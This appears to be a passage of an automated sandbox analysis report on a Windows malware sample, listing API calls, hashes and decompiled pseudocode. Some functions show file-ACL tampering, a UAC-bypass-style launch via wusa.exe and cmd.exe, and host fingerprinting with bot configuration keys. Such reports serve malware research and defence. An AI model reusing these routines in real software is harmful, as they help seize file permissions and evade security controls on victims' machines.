Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00419B4E, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A411,?,?,?,?,0041B755), ref: 00419BAF
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A411,?,?,?,?,0041B755), ref: 00419C2E

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419BA5, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A411,?,?,?,?,0041B755), ref: 00419BAF
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A411,?,?,?,?,0041B755), ref: 00419C2E

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction ID: 1aa4839f38af6ffd0a5f10ae6327e5a36d7292e76679eb2ebd5643d0e20a332f
Opcode Fuzzy Hash: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction Fuzzy Hash: 0C019D2C44C3C0DDE302E738AE087413F96D727759F0841A8D1E55A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00429496, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 004294A5

Part of subcall function 00426450: ___crtCorExitProcess.LIBCMTD ref: 00426459

RtlAllocateHeap.NTDLL(0054B04C,00000000,00000001), ref: 004294D8

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: c0eb938b68eba93c2eca1c1ffd473025cfe2b9b9f0ee95afec108c19ec0118bd
Instruction ID: c9149bd7a93be64b140071bb4d3b8b7216bd31e359eeb0909044eed1c057f8f5
Opcode Fuzzy Hash: c0eb938b68eba93c2eca1c1ffd473025cfe2b9b9f0ee95afec108c19ec0118bd
Instruction Fuzzy Hash: 2CE0D875B44218EBEB10EF50F886BBA3774DF1034CF90416AF80A19281D3799D86D79B

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x8904630e
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x8904630e
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00426BB4, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426BCB
__nh_malloc_dbg.LIBCMTD ref: 00426CF7

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: e32541ea33e6bdcfef241f141a8e715942aeaf4a97713bff623046af4eba3aad
Instruction ID: 4628cfdb7ba9c5fdcf57a8bde074301a298e75a2842f2795ff0db30f18465c75
Opcode Fuzzy Hash: e32541ea33e6bdcfef241f141a8e715942aeaf4a97713bff623046af4eba3aad
Instruction Fuzzy Hash: 32E026B1F887189ADB308BA5A803798B720E744734F61832FE639766C2DB7914018F48

Uniqueness

Uniqueness Score: -1.00%

Function 00424660, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424667

Part of subcall function 00424590: __crt_wait_module_handle.LIBCMTD ref: 004245DC
Part of subcall function 00424590: RtlEncodePointer.NTDLL(?), ref: 00424617

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 88d1742b230136a0ca51a2e2068b372b1ea048bedd55b7852b48662e7d5dff14
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: AEA0127254420833D00020C33803B02390C87C0A38F480021F60C091423852A45040DB

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5D0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B5D5

Part of subcall function 0041B5F0: _check_managed_app.LIBCMTD ref: 0041B66C
Part of subcall function 0041B5F0: __heap_init.LIBCMTD ref: 0041B676
Part of subcall function 0041B5F0: _fast_error_exit.LIBCMTD ref: 0041B684
Part of subcall function 0041B5F0: __mtinit.LIBCMTD ref: 0041B68C
Part of subcall function 0041B5F0: _fast_error_exit.LIBCMTD ref: 0041B697
Part of subcall function 0041B5F0: __RTC_Initialize.LIBCMTD ref: 0041B6A9
Part of subcall function 0041B5F0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6D2
Part of subcall function 0041B5F0: ___wsetargv.LIBCMTD ref: 0041B6DC
Part of subcall function 0041B5F0: __wsetenvp.LIBCMTD ref: 0041B6EF
Part of subcall function 0041B5F0: __cinit.LIBCMTD ref: 0041B704
Part of subcall function 0041B5F0: __wwincmdln.LIBCMTD ref: 0041B721

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction ID: 98747135984f6b418e319d65de354779e5ecaefd9eb7f209687c56f0789376f9
Opcode Fuzzy Hash: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction Fuzzy Hash: 6BA0027218965C3645503BEB340795EB64E8CC872D7DD005FB51C065033D5DA9D140EE

Uniqueness

Uniqueness Score: -1.00%

Function 00419C36, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041A1F5,?,?,?,?,0041B755,00400000,00000000,?,0000000A), ref: 00419C3E

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

useless, xrefs: 0040161E
<, xrefs: 00401378
wusa.exe, xrefs: 00401388
D, xrefs: 004015C6
%systemroot%\system32\cmd.exe, xrefs: 00401316
@, xrefs: 00401380
uac, xrefs: 00401628
, xrefs: 00401462

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32 ref: 00401C15

Strings

flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
kernel32, xrefs: 00401DF7
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
start_srv, xrefs: 00401E6C
loader_id, xrefs: 00401F4B, 00401F6B
born_date, xrefs: 00401EAD, 00401ECC
net_type, xrefs: 00401E87
IsWow64Process, xrefs: 00401DF2
work_srv, xrefs: 00401E5E
lid_file_upd, xrefs: 00401E25

Memory Dump Source

